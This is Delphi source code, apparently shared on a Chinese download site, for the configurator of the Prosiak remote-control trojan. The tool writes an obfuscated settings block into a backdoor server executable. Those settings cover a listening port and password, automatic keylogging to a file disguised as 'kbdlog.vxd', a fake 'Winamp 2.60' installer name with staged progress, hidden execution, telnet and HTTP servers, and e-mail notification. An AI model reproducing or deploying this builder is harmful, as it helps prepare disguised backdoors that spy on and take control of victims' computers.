⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.pas

📁 2003年的远程控制
💻 PAS
字号:
unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, ComCtrls;

const ident=$ABCE;
      progname='Prosiak Konfigurator 0.70 beta 6';

type
  TForm1 = class(TForm)
    OpenDialog1: TOpenDialog;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    Button2: TButton;
    Button3: TButton;
    i_info: TEdit;
    TabSheet2: TTabSheet;
    Button1: TButton;
    TabSheet3: TTabSheet;
    Panel1: TPanel;
    Image1: TImage;
    Label5: TLabel;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    Label1: TLabel;
    I_installname: TEdit;
    Label2: TLabel;
    i_installprocent: TEdit;
    i_shield: TCheckBox;
    i_shielderror: TCheckBox;
    i_exename: TLabel;
    i_profile: TEdit;
    i_profilekey: TEdit;
    Label17: TLabel;
    Label18: TLabel;
    Panel2: TPanel;
    Panel3: TPanel;
    GroupBox1: TGroupBox;
    i_proxyauto: TCheckBox;
    i_host: TEdit;
    i_local: TEdit;
    i_remote: TEdit;
    i_mailenabled: TCheckBox;
    i_mail: TEdit;
    Label14: TLabel;
    Label3: TLabel;
    i_email: TEdit;
    Label12: TLabel;
    i_mailhost: TEdit;
    TabSheet6: TTabSheet;
    i_debug: TCheckBox;
    i_installhalt: TCheckBox;
    i_install: TCheckBox;
    i_reboot: TCheckBox;
    i_timeout: TEdit;
    Label4: TLabel;
    i_autokeylog: TCheckBox;
    i_logauto: TCheckBox;
    i_keylogfile: TEdit;
    i_logfile: TEdit;
    Label6: TLabel;
    I_backport: TEdit;
    i_haslo: TEdit;
    Label7: TLabel;
    i_httpdauto: TCheckBox;
    i_telnetauto: TCheckBox;
    i_httpdport: TEdit;
    i_telnetport: TEdit;
    Label8: TLabel;
    GroupBox2: TGroupBox;
    i_shieldrunen: TCheckBox;
    i_shieldrun: TEdit;
    i_show: TRadioButton;
    i_min: TRadioButton;
    i_hide: TRadioButton;
    TrackBar1: TTrackBar;
    i_syskey: TCheckBox;
    i_title: TCheckBox;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure i_httpdautoClick(Sender: TObject);
    procedure i_rebootClick(Sender: TObject);
    procedure i_logautoClick(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure i_mailenabledClick(Sender: TObject);
    procedure i_mailChange(Sender: TObject);
    procedure i_shieldrunenClick(Sender: TObject);
    procedure TrackBar1Change(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure refresh;
    procedure get;
  end;
type string30=string[30];
type Tdane=record
       email:string30;
       haslo:string30;
       logfile:string30; {in /system}
       info:string30;
       backport,proxylocal,proxyremote:word;
       proxyhost:string30;
       mailhost:string30;
       httpdport:word;
       httpdauto:boolean;
       autolog:boolean;
       install:boolean;
       reboot:boolean;
       reboottimeout:word;
       installname:string[30];
       installprocent:byte;
       installhalt:boolean;
       keylogfile:string30;
       autokeylog:boolean;
       debug:boolean;
       shield:boolean;
       shielderror:boolean;
       mail:byte;
       telnetport:integer;
       telnetauto:boolean;
       proxyauto:boolean;
       profile:string30;
       profilekey:string30;
       shieldrun:string30;
       shieldrun_en:boolean;
       shieldrun_mode:byte;
       syskey:boolean;
       title:boolean;
       wypelniacz:array[1..532] of byte;
//       wypelniacz:array[1..729] of byte;
       id:word;
       end;

var
  Form1: TForm1;
  exefile:string;
  bufor:Tdane;

implementation
{$R *.DFM}

procedure des(var s:string30);
var i:integer;
begin
randseed:=length(s)*15;
for i:=1 to length(s) do
 begin
 s[i]:=char(ord(s[i]) xor random(255));
 end;
end;

procedure domyslnedane;
begin
randomize;
bufor.email:='wpisz_swoj_email';
bufor.haslo:='prosiak';
bufor.logfile:='debug.log';
bufor.info:='moj_prosiak';
bufor.backport:=44444;
bufor.proxylocal:=23;
bufor.proxyremote:=23;
bufor.proxyhost:='mail.lublin.pl';
bufor.mailhost:='mail.lublin.pl';
bufor.httpdauto:=true;
bufor.httpdport:=800;
bufor.autolog:=false;
bufor.id:=ident;
bufor.install:=true;
bufor.reboot:=false;
bufor.reboottimeout:=600;
bufor.installname:='Winamp 2.60';
bufor.installprocent:=43;
bufor.installhalt:=false;
bufor.autokeylog:=true;
bufor.keylogfile:='kbdlog.vxd';
bufor.debug:=false;
bufor.shield:=true;
bufor.shielderror:=true;
bufor.mail:=0;
bufor.telnetport:=230;
bufor.telnetauto:=true;
bufor.proxyauto:=false;
bufor.profile:='msftp.drv';
bufor.profilekey:='FTPServer';
bufor.shieldrun:='setup.ins';
bufor.shieldrun_en:=false;
bufor.shieldrun_mode:=sw_normal;
bufor.syskey:=true;
bufor.title:=true;
end;

procedure deszyfrujdane;
begin
with bufor do
begin
 des(email);
 des(haslo);
 des(logfile);
 des(keylogfile);
 des(info);
 des(proxyhost);
 des(mailhost);
 des(installname);
 des(profile);
 des(profilekey);
 des(shieldrun);
end;
end;

procedure czytajdane(s:string);
var f:file;
    ile:integer;
    fm:byte;
begin
fm:=filemode;
filemode:=0;
assignfile(f,s);
reset(f,1);
filemode:=fm;
if filesize(f)<sizeof(bufor) then exit;
seek(f,filesize(f)-sizeof(bufor));
blockread(f,bufor,sizeof(bufor),ile);
closefile(f);
deszyfrujdane;
if bufor.id<>ident then domyslnedane;
form1.refresh;
end;

procedure zapiszdane(s:string);
var f:file;
    ile:integer;
    tmpbufor:Tdane;
    id:word;
begin
form1.get;
deszyfrujdane;
{$I-}
assign(f,s);
reset(f,1);
if ioresult<>0 then
   begin
   messagebox(0,'Blad otwarcia pliku',progname,0);
   exit;
   end;
seek(f,filesize(f)-sizeof(bufor));
blockread(f,tmpbufor,sizeof(bufor),ile);
if tmpbufor.id=ident then
 seek(f,filesize(f)-sizeof(bufor)) else seek(f,filesize(f));
blockwrite(f,bufor,sizeof(bufor),ile);
closefile(f);
if ioresult=0 then messagebox(0,'Konfiguracja zapisana',progname,0);
{$I+}
end;

procedure Tform1.Refresh;
begin
i_haslo.text:=bufor.haslo;
i_email.text:=bufor.email;
i_logfile.text:=bufor.logfile;
i_keylogfile.text:=bufor.keylogfile;
i_info.text:=bufor.info;
i_backport.text:=inttostr(bufor.backport);
i_remote.text:=inttostr(bufor.proxyremote);
i_local.text:=inttostr(bufor.proxylocal);
i_host.text:=bufor.proxyhost;
i_mailhost.text:=bufor.mailhost;
i_httpdauto.checked:=bufor.httpdauto;
i_httpdport.text:=inttostr(bufor.httpdport);
i_logauto.checked:=bufor.autolog;
i_autokeylog.checked:=bufor.autokeylog;
i_reboot.checked:=bufor.reboot;
i_timeout.text:=inttostr(bufor.reboottimeout);
i_install.checked:=bufor.install;
i_installname.text:=bufor.installname;
i_installprocent.text:=inttostr(bufor.installprocent);
i_installhalt.checked:=bufor.installhalt;
i_debug.checked:=bufor.debug;
i_shield.checked:=bufor.shield;
i_shielderror.checked:=bufor.shielderror;
i_mail.text:=inttostr(bufor.mail);
i_telnetport.text:=inttostr(bufor.telnetport);
i_telnetauto.checked:=bufor.telnetauto;
i_proxyauto.checked:=bufor.proxyauto;
i_profile.text:=bufor.profile;
i_profilekey.text:=bufor.profilekey;
i_shieldrun.text:=bufor.shieldrun;
i_shieldrunen.checked:=bufor.shieldrun_en;
case bufor.shieldrun_mode of
 sw_normal:i_show.checked:=true;
 sw_hide:i_hide.checked:=true;
 sw_minimize:i_min.checked:=true;
 else i_show.checked:=true;
 end;
trackbar1.position:=bufor.installprocent;
i_syskey.checked:=bufor.syskey;
i_title.checked:=bufor.title;
end;

procedure tform1.get;
begin
bufor.haslo:=i_haslo.text;
bufor.email:=i_email.text;
bufor.logfile:=i_logfile.text;
bufor.keylogfile:=i_keylogfile.text;
bufor.info:=i_info.text;
bufor.backport:=strtointdef(i_backport.text,44444);
bufor.proxylocal:=strtointdef(i_local.text,100);
bufor.proxyremote:=strtointdef(i_remote.text,23);
bufor.proxyhost:=i_host.text;
bufor.mailhost:=i_mailhost.text;
bufor.httpdport:=strtointdef(i_httpdport.text,800);
bufor.httpdauto:=i_httpdauto.checked;
bufor.autolog:=i_logauto.checked;
bufor.autokeylog:=i_autokeylog.checked;
bufor.install:=i_install.checked;
bufor.reboot:=i_reboot.checked;
bufor.reboottimeout:=strtointdef(i_timeout.text,600);
bufor.installname:=i_installname.text;
bufor.installprocent:=strtointdef(i_installprocent.text,45);
bufor.installhalt:=i_installhalt.checked;
bufor.debug:=i_debug.checked;
bufor.shield:=i_shield.checked;
bufor.shielderror:=i_shielderror.checked;
bufor.mail:=strtointdef(i_mail.text,3);
bufor.telnetport:=strtointdef(i_telnetport.text,230);
bufor.telnetauto:=i_telnetauto.checked;
bufor.proxyauto:=i_proxyauto.checked;
bufor.profile:=i_profile.text;
bufor.profilekey:=i_profilekey.text;
bufor.shieldrun:=i_shieldrun.text;
bufor.shieldrun_en:=i_shieldrunen.checked;
if i_show.checked then bufor.shieldrun_mode:=sw_normal;
if i_hide.checked then bufor.shieldrun_mode:=sw_hide;
if i_min.checked then bufor.shieldrun_mode:=sw_minimize;
bufor.syskey:=i_syskey.checked;
bufor.title:=i_title.Checked;
fillchar(bufor.wypelniacz,sizeof(bufor.wypelniacz),0);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
opendialog1.InitialDir:='.';
opendialog1.Execute;
if opendialog1.filename<>'' then
 begin
 exefile:=opendialog1.filename;
 czytajdane(exefile);
 i_exename.caption:='Nazwa instalatora '+ExtractFilename(opendialog1.filename);
 end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if exefile='' then begin
                   messagebox(0,'Najpierw wybierz plik serwera',progname,0);
                   exit;
                   end;
zapiszdane(exefile);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
form1.caption:=progname;
exefile:='';
image1.hint:='(c) by Krzysztof "Prosiak" Owedyk '+#13+'Color & Win95 logo by SXE';
{domyslnedane;
refresh;}
end;

procedure TForm1.i_httpdautoClick(Sender: TObject);
begin
i_httpdport.enabled:=i_httpdauto.Checked;
end;

procedure TForm1.i_rebootClick(Sender: TObject);
begin
i_timeout.enabled:=i_reboot.Checked;
end;

procedure TForm1.i_logautoClick(Sender: TObject);
begin
i_logfile.enabled:=i_logauto.checked;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
domyslnedane;
refresh;
end;

procedure TForm1.i_mailenabledClick(Sender: TObject);
begin
if not i_mailenabled.checked
 then i_mail.text:='0';
end;

procedure TForm1.i_mailChange(Sender: TObject);
begin
if i_mail.text<>'0' then i_mailenabled.checked:=true;
end;

procedure TForm1.i_shieldrunenClick(Sender: TObject);
begin
i_shieldrun.enabled:=(sender as Tcheckbox).checked;
end;

procedure TForm1.TrackBar1Change(Sender: TObject);
begin
i_installprocent.text:=inttostr(trackbar1.position);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -